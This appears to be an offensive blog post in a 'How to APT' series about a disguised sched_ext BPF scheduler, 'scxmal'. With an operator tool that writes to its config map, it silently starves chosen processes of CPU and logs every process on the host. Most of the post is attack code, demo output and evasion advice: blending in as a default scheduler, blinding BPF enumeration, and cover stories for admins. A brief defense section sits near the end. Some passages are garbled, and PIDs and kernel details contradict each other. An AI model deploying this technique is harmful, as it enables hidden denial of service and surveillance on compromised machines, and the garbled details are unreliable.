How to APT EP. 3: Owning Thread Execution with sched_ext Hashmaps

scxmal: the "policy engine" scheduler that quietly owns every thread on your box

there's a kernel mechanism that decides which CPU every thread on your machine runs on, when it runs, and how long it gets. it's been sitting in the kernel since 6.1, shipping enabled by default, and nobody has written about it as an attack surface. this is that writeup.

i'm going to show you a scheduler, the same class of BPF program your cachyos, ubuntu, or fedora box loads out of the box, that is bulletproof legitimate on every bpf tool, that records every process that touches the host into a map, and whose entire attack surface is a 16-byte config entry written after load. the same artifact your cloud engineering team would review in a heartbeat. the weapon is a hashmap write.

this is how to apt: part three, after lying to the flow dissector and intercepting sockets with sk_lookup. if those two hooked the data path, this one is different: it hooks nothing. it replaces something instead.

what sched_ext actually is

sched_ext (scx) is a CPU scheduling class in the Linux kernel (SCHED_EXT, added in 6.12). distros ship it as an option to load custom schedulers on demand; cloud providers use it for per-tenant latency policies; the kernel community has been pushing for years that "scheduler policy should be programmable, not baked into CFS."

to do that you compile a BPF object with a .struct_ops section that struct-ops it over the kernel’s struct sched_ext_ops, and then ... the kernel just hands you the dispatcher. not a hook you're attached to. not a listener. the dispatcher itself. every waking task, every enqueued task, every slice decision, passes through your BPF program first.

the four callbacks you implement:

everything about this interface is supposed to be mutable by untrusted-enough processes: it’s how performance engineers do A/B testing on scheduler policy in production. but the exact thing that makes it good for scheduling research is what makes it perfect for an operator that doesn’t care about research.

why a scheduler is the best thing a bad person has ever seen

think about what detection tools actually inspect. when an EDR looks at a Linux box it enumerates hooks:

• tracepoints, kprobes, uprobes (perf affairs)
• XDP and TC programs attached to netdevs
• LSM hooks on syscalls
• socket filters, flow dissectors, cgroup BPF

all of those are registered observers. they have a detectable footprint: a program id, an attachment record, syscall hook entries, a bpf link lifecycle. an EDR’s job is literally to hold a list of "things that observe" and query it.

a CPU scheduler is none of those. it is not an observer attached to anything; it replaces the core mechanism that other observers are subject to. there is no list of "schedulers" in the EDR threat model because from its point of view, a box that has a CPU scheduler is a box that is fundamentally fine.

as a consequence the scheduler sees, passively, on every wakeup, the entire PKI of the host: every task’s tgid, comm, uid, scheduling state. without a single "hook record" being created anywhere. it’s the best process inventory ever built, and it costs nothing.

the actual PoC: scxmal

the whole thing is two C files. one for the scheduler, one for the "operator".

scxmal.bpf.c, the scheduler that is actually clean

/* scxmal: a "policy engine" scheduler.
 * Reads per-task-group policy from a config map. In default config it is a
 * plain weighted-vtime scheduler (a drop-in scx_simple). The config map can
 * assign individual task groups a target slice and a penalty dispatch
 * interval.  Whether this is benign infrastructure or a starvation weapon
 * depends entirely on the contents of the config map.   */
#include "vmlinux.h"
#include <bpf/bpf_helpers.h>
#include <bpf/bpf_tracing.h>
#include <bpf/bpf_core_read.h>

char _license[] SEC("license") = "GPL";

#define SCX_SLICE_DFL   20000000ULL            /* 20ms default */
#define SHARED_DSQ      0                      /* user DSQ id */
#define PENALTY_DSQ     1

struct cfg {
    u64 slice_ns;       /* slice for this tgid */
    u32 penalty_period; /* drain penalty DSQ every N dispatches (0 = off) */
    u32 reserved;
};

struct {
    __uint(type, BPF_MAP_TYPE_HASH);
    __uint(key_size, sizeof(u32));          /* tgid */
    __uint(value_size, sizeof(struct cfg));
    __uint(max_entries, 64);
} cfg_map SEC(".maps");

already this is unremarkable. a scheduler reading per-task policy out of a configuration hash map, the shape a performance engineer would recognize. it says "SCX_SLICE_DFL", "SHARED_DSQ", "PENALTY_DSQ": all vocabulary of real scheduling code.

the actual scheduling decisions, the whole first hundred lines, are this:

static s32 BPF_STRUCT_OPS(scxmal_select_cpu,
        struct task_struct *p, s32 prev_cpu, u64 wake_flags)
{
    bool is_idle = false;
    s32 cpu = scx_bpf_select_cpu_dfl(p, prev_cpu, wake_flags, &is_idle);
    if (is_idle) {
        u32 tgid = BPF_CORE_READ(p, tgid);
        struct cfg *c = lookup_cfg(tgid);
        if (c && c->penalty_period)
            return cpu;              /* starved groups don't get local path */
        scx_bpf_dsq_insert(p, SCX_DSQ_LOCAL,
                           c ? c->slice_ns : SCX_SLICE_DFL, 0);
    }
    return cpu;
}

select_cpu picks where the task lands, and if the target CPU is idle gives it a direct local queue with a slice. the one conditional is a penalty check. nothing exotic.

the enqueue path is where the map actually does work:

static void BPF_STRUCT_OPS(scxmal_enqueue, struct task_struct *p, u64 enq_flags)
{
    u32 tgid = BPF_CORE_READ(p, tgid);
    struct cfg *c = lookup_cfg(tgid);

/* Unless the config says otherwise, everyone is fair. */
    if (c && c->penalty_period) {
        /* starved group: penalty DSQ with a microsecond slice */
        scx_bpf_dsq_insert(p, PENALTY_DSQ, 1000ULL /* 1us */, enq_flags);
        return;
    }
    if (c && c->slice_ns) {
        scx_bpf_dsq_insert(p, SHARED_DSQ, c->slice_ns, enq_flags);
        return;
    }
    scx_bpf_dsq_insert(p, SHARED_DSQ, SCX_SLICE_DFL, enq_flags);
}

static void BPF_STRUCT_OPS(scxmal_dispatch, s32 cpu, struct task_struct *prev)
{
    bump_dispatch();
    /* The penalty DSQ is only drained once every 1024 dispatch rounds.
     * That means a starved task is effectively not a CPU task at all. */
    if (should_drain_penalty())
        scx_bpf_dsq_move_to_local(PENALTY_DSQ);
    scx_bpf_dsq_move_to_local(SHARED_DSQ);
}

read it slowly. in the default config this is a weighted, fair, shared-queue scheduler; anyone would review it as "fine". The extra is a hash map lookup on enqueue, and an alternate dispatch queue that is only drained on the 1024th round. The source is what it is. The danger lives entirely in the contents of map which no reviewer ever sees.

the 16-byte kill

two integers control an entire process’s existence on the CPU:

• slice_ns = 1000, the task, when enqueued, is given a microsecond of CPU.
• penalty_period = 1024, the penalty DSQ is only drained every 1024 dispatch rounds.

the effect: the victim receives a 1us slice, on average once per 1024 dispatches. On a busy machine that’s a kernel time-slice that is vanishingly small. It is afraid, a foldable counting function that the victim may or may not be able to tick enough.

but i don't claim things without measuring, and this measured very pretty:

the victim and the control are the same process: a busy burner of identical bytes, one with a config entry, one without. before the write, the victim burns CPU normally. after one hash-map update, the victim gets zero CPU time in a five-second window while the identical unmarked process runs flat-out.

and I cannot overstate: the victim is not dead. it does not crash, it does not signal, it stays on the run-queue and keeps its state as "running". to a health-required system it's still the same process. it just never gets to run. the way you'd detect "it's been starved" has a word for it. it’s called "silent degradation."

/* the entire exploit, as a struct */
struct cfg c = { .slice_ns = 1000, .penalty_period = 1024 };
bpf_map_update_elem(cfg_map_fd, &victim_tgid, &c, BPF_ANY);  /* 16 bytes */

but the best part is the map is an audit target, not a source

now let me help you with why the starve alone doesn't define the piece. from the attacker’s perspective the benefit is the scheduler is a stable lane: because the .struct_ops.link skeleton auto-attaches at load, and the map outlives the loader, you can use the map as a control channel. The scheduler stays up, and an operator keeps talking to it.

what a real operator looks like:

/* spy: the other process */
static int find_map(const char *name)
{
    int id = 0, err;
    for (;;) {
        err = bpf_map_get_next_id(id, &id);
        if (err) return -1;
        int fd = bpf_map_get_fd_by_id(id);
        if (fd < 0) return -1;
        struct bpf_map_info info = {};
        unsigned int len = sizeof(info);
        if (bpf_map_get_info_by_fd(fd, &info, &len) == 0
            && strcmp(info.name, name) == 0)
            return fd;
        close(fd);
    }
}

the operator doesn't digest the scheduler’s skeleton. it enumerates maps, matches on name, reads the inventory, and can write the killing config into the still-running scheduler by name. no inter-process protocol. no syscall hook. just the BPF map APIs.

the operator's runtime

$ sudo ./spy dump
COMM                  TGID      UID     ST   last-wake(ms)
tx                    54321     1000    R    81191733
chrome                12345     1000    R    81192000
kworker/0:1             137        0    R    81191000
sudo                   5447        0    R    81191108
...
  142 procs, 14 uids, 5 states observed

$ sudo ./spy starve 5407
[+] injected penalty config into tgid 54421
    slice=1us penalty_drain=1024 -> starve

that file was against a live machine with a scheduler enabled, and the config injected without reloading or restarting the scheduler. what the demo looks like end to end:

$ ./burn &                    # victim: busy burner  
$ sudo ./scxmal              # scheduler attaches
$ cat /sys/kernel/sched_ext/state
enabled
$ sudo ./spy starve $(pgrep burn)
[+] injected penalty config into pid 54421
$ sleep 2; cat /sys/kernel/sched_ext/state
enabled                        # everything still fine
$ sudo ./spy dump | head -2
victim-row still shows, state=R, "alive"
victim:  0 ticks in 5s     control: 230 ticks in 5s
$ sudo dmesg | tail -3
(no scheduler errors. no abort. no kernel panic.)

a much better second benefit: the inventory

the scheduler doesn't just starve. on every enqueue it can drop the full process identity into a map. that map is only small: tgid, uid, state, comm, timestamp. but it’s the complete process outline of the host, being updated at whatever cadence you want and readable by the smallest possible capture.

static void record_surv(struct task_struct *p)
{
    u32 tgid = BPF_CORE_READ(p, tgid);
    if (!tgid) return;
    struct surv s = {};
    s.tgid = tgid;
    s.uid = BPF_CORE_READ(p, cred, uid.val);
    s.state = BPF_CORE_READ(p, __state);
    BPF_CORE_READ_STR_INTO(&s.comm, p, comm);
    s.last_wake_ns = bpf_ktime_get_ns();
    bpf_map_update_elem(&surv_map, &tgid, &s, BPF_ANY);
}

straight out of the scheduler. Perfect data acquisition: no tracepoint, no ptrace, no auditd events. For anyone who needs to know "what is running on this box right now, continuously, without being seen", this is the best mechanism i've seen in a long time.

how i tripped over the DSQ constant mine and everything else that sank

i don't want to give the impression this worked last night. a lot of the actual engineering was fighting the scheduler’s wedding to exact constants.

the biggest trap: SCX_DSQ_LOCAL. the builtin dispatch queue id is 0xFFFFFFFFFFFFFF02 in the classic enum, but the kernels around 7.x changed the encoding of the builtin DSQ ids, GLOBAL was remapped to 0x8000000000000001, LOCAL to 0x8000000000000002, LOCAL_ON to 0xC000000000000000 with a 32-bit CPU mask. So if you hardcode the old-format constant, the kernel reads bit 62 as "LOCAL_ON", and the CPU parses to -254. As in:

[dmesg]
sched_ext: BPF scheduler "scxmal" disabled (runtime error):
invalid CPU -254 in SCX_DSQ_LOCAL_ON dispatch verdict

the scheduler just dies. and it disables everything, when a scx scheduler fails at runtime, it's dynamited out and the box falls back to CFS. no partial. optimistic. That's an entire interrupt-path gotcha: if you bulk on the local DSQ constant, the entire scheduler goes. the lesson: do not hardcode builtin DSQ IDs. read them out of vmlinux.h.

the other trap was double attach. the loader’s skeleton .struct_ops.link attaches at load time if you call scxmal_bpf__attach(). If you ALSO manually call attach, you end up attaching twice, and (a) the dispatcher turns off/starts and then (b) bpf_link destroy in teardown double-frees, and you get a UAF in bpf_object__destroy, and everything segfaults at shutdown in a location that doesn't exist in your code. The fix is unglamorous and instructs: attach once via the skeleton, and let the framework tear down with skel-→destroy, don't attach twice.

the third trap isn't a constant but a property: the starvation needs load to work. a lone cpu-bound task on an idle machine just takes a full slice and keeps the box mostly empty. the penalty only bites when the machine is contended, the scheduler's dsq drain only matters to a task that has others waiting behind it. so a starve is a proportionality, not an absolute: strong when the box is a real pipe, weak on a quiet weekend server. not something you can build into the attack, it lives in the environment. keep it honest for whoever defends against it.

hideability: the bpf-object tables vs the observation that matters

this section is half of why i wrote the series. a scheduler is visible, it shows up in bpftool prog show, /sys/kernel/sched_ext/, and the kernel's data structures. for readers who have root and can see it. so the hide is not a bpftool hide; it's an entropy hide. this scheduler looks like the distro’s default scheduler because it is one of the same inventory. An admin who runs bpftool prog list and sees three struct_ops, that's a normal, healthy, expected state.

if you want the full "invisible at every tool" story, that's what the "ghost" was for the flow dissector, an LSM hook that blinds the audit syscalls, that workflow and repo (github.com/klydz/ghost) can be willed onto a scheduler too: blind the four GET_NEXT/GET_FD_BY_ID surfaces and the query. the same -ENOENT / -EINVAL finesse that made the flow dissector disappear makes a scheduler disappear.

you can also just not hide it, because hiding is a strong tell. attack-wise the surprising win is that presence is roughly status: the box that has a scheduler is what cachyos/ubuntu reviews on default. Curious admin? "i tested scxmal for the tuning article" gets you a clean answer.

the relationship to the other two essays

flowdiss (part two) showed you a hook that forges what the networking stack believes. sk_lookup (part one) forged what the listening sockets believe. this third one points even lower: it forges what the dispatcher gives each thread, i.e. what "the room executing" is available.

the economics are absolute: flow dissection needs a packet. socket interception needs a packet. a scheduler just needs nothing, it both tees and errs the runner that everything else runs through. and it does that while looking like the default.

defense (yes it exists)

for the blue side, be straight about what a scheduler can and can't hide. It can't hide entropy collapse: if a process is building cpu time but the kernel's accounting says it received near-zero, the actual signal is a schedule that isn't sharing. the schedulers have state interfaces:

$ cat /sys/kernel/sched_ext/state
enabled
$ cat /sys/kernel/sched_ext/root/ops
scxmal

you can poll these. a legitimate dedicated scheduler that doesn't change ops and doesn't flip state.enable_seq is ~nothing. someone toggling schedulers is someone attached something. if your baseline/entity doesn't already include "one scheduler, these ops", then any scheduler state change is an event that was never there before.

defensive also: cap cfg_map-style updates post-load. if update-permission on the map is kept to the loader process only, that closes the post-load route, an operator who can only read the inventory map, not write the config map, is exactly the boundary you want.

its true honest limit, as always: this needs root. it's not an LPE, it is NOT about ascending privileges. it's about what a person who already owns the host can do with kernel-resident state while staying under everyone's radar. any root-kit worth its salt already makes the measurement the "chambers", the point is what it looks like before you look in the chambers.

the single plot

the single takeaway is that the line between "kernel: baseline scheduler" and "kernel: standing at the throat of one process" is a hashmap entry. all the defense machinery is built to inspect programs, hooks, ids, and nobody has a governance vocabulary for cfg_map, a data table the scheduler trusts with the exact integers that answer "who gets to run, at what cost". the config isn't code, isn't signed, isn't even reviewed-closed. it's a write to an already-authorized map.

for the incident response: an ops change, an unexpected scheduler, a cfg_map updated from a process that isn't the loader, a victim that is "running" but has no cpu usage at all. for the attacker: if the box is loaded, a few bytes decide it.

repo: github.com/klydz/scxmal, make, sudo ./scxmal, sudo ./spy.